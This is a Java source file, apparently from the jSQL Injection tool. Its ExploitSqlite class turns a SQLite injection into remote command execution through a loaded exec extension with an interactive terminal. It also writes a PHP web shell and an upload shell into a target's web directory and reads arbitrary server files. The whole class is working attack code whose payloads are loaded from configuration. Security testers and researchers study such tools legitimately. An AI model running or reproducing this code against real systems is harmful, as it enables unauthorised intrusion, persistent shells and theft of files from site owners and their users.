View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.engine.sqlite.ModelYamlSqlite;
7   import com.jsql.model.bean.database.MockElement;
8   import com.jsql.view.subscriber.Seal;
9   import com.jsql.model.exception.AbstractSlidingException;
10  import com.jsql.model.exception.JSqlException;
11  import com.jsql.model.exception.JSqlRuntimeException;
12  import com.jsql.model.suspendable.SuspendableGetRows;
13  import com.jsql.util.LogLevelUtil;
14  import com.jsql.util.StringUtil;
15  import org.apache.commons.lang3.RandomStringUtils;
16  import org.apache.commons.lang3.StringUtils;
17  import org.apache.logging.log4j.LogManager;
18  import org.apache.logging.log4j.Logger;
19  import org.yaml.snakeyaml.Yaml;
20  
21  import java.io.File;
22  import java.io.FileInputStream;
23  import java.io.IOException;
24  import java.io.InputStream;
25  import java.net.http.HttpResponse;
26  import java.util.UUID;
27  import java.util.function.BinaryOperator;
28  
29  public class ExploitSqlite {
30  
31      private static final Logger LOGGER = LogManager.getRootLogger();
32      private final InjectionModel injectionModel;
33      private final ModelYamlSqlite modelYaml;
34  
35      public ExploitSqlite(InjectionModel injectionModel) {
36          this.injectionModel = injectionModel;
37          var yaml = new Yaml();
38          this.modelYaml = yaml.loadAs(
39              injectionModel.getMediatorEngine().getSqlite().instance().getModelYaml().getResource().getExploit(),
40              ModelYamlSqlite.class
41          );
42      }
43  
44      public void createUdf() {
45          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE UDF requirements: extension exec loaded");
46          var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
47              this.modelYaml.getExtension().getExec(),
48              ResourceAccess.WEB_CONFIRM_CMD +"%20"
49          ), ResourceAccess.TBL_READ);
50          if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
51              LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
52              this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
53                  (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitSqlite().runRce(command, terminalID)
54              ));
55          }
56      }
57  
58      public String runRce(String command, UUID uuidShell) {
59          String result;
60          try {
61              result = this.injectionModel.getResourceAccess().getResult(String.format(
62                  this.modelYaml.getExtension().getExec(),
63                  command.replace(StringUtils.SPACE, "%20")
64              ), ResourceAccess.RUN_FUNC);
65          } catch (JSqlException e) {
66              result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
67          }
68          this.injectionModel.sendToViews(new Seal.GetTerminalResult(
69              uuidShell,
70              result.trim() +"\n"  // missing newline on some extensions
71          ));
72          return result;
73      }
74  
75      public String createWeb(String pathExploit, String urlExploit) {
76          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine");
77  
78          String bodyExploit = StringUtil.base64Decode(
79                  this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.web")
80              )
81              .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
82              .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
83          var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
84          var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
85          var nameExploit = nameDbRandom + nameTableRandom +".php";
86          this.injectionModel.injectWithoutIndex(String.format(
87              this.modelYaml.getWriteFile(),
88              pathExploit + nameExploit, nameDbRandom,
89              nameDbRandom, nameTableRandom,
90              nameDbRandom, nameTableRandom, bodyExploit
91          ), ResourceAccess.TBL_DUMP);
92  
93          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
94              String result = this.injectionModel.getResourceAccess().callCommand(
95                  urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
96              );
97              if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
98                  LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
99                  return StringUtils.EMPTY;
100             }
101             this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
102             return urlSuccess;
103         };
104 
105         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
106     }
107 
108     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
109         String bodyExploit = StringUtil.base64Decode(
110                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
111             )
112             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
113             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
114         var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
115         var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
116         var nameExploit = nameDbRandom + nameTableRandom +".php";
117         this.injectionModel.injectWithoutIndex(String.format(
118             this.modelYaml.getWriteFile(),
119             pathExploit + nameExploit, nameDbRandom,
120             nameDbRandom, nameTableRandom,
121             nameDbRandom, nameTableRandom, bodyExploit
122         ), ResourceAccess.TBL_DUMP);
123 
124         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
125             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
126                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
127                 if (result.body().contains(DataAccess.LEAD +"y")) {
128                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
129                 } else {
130                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
131                 }
132             } catch (InterruptedException e) {
133                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
134                 Thread.currentThread().interrupt();
135             } catch (IOException | JSqlException e) {
136                 throw new JSqlRuntimeException(e);
137             }
138             return urlSuccess;
139         };
140 
141         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
142     }
143 
144     public String getRead(String pathFile) throws AbstractSlidingException {
145         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement: extension fileio loaded");
146         return new SuspendableGetRows(this.injectionModel).run(
147                 String.format(
148                 this.injectionModel.getResourceAccess().getExploitSqlite().getModelYaml().getExtension().getFileioRead(),
149                 pathFile
150             ),
151             new String[]{ StringUtils.EMPTY },
152             false,
153             1,
154             MockElement.MOCK,
155             ResourceAccess.FILE_READ
156         );
157     }
158 
159     public ModelYamlSqlite getModelYaml() {
160         return this.modelYaml;
161     }
162 }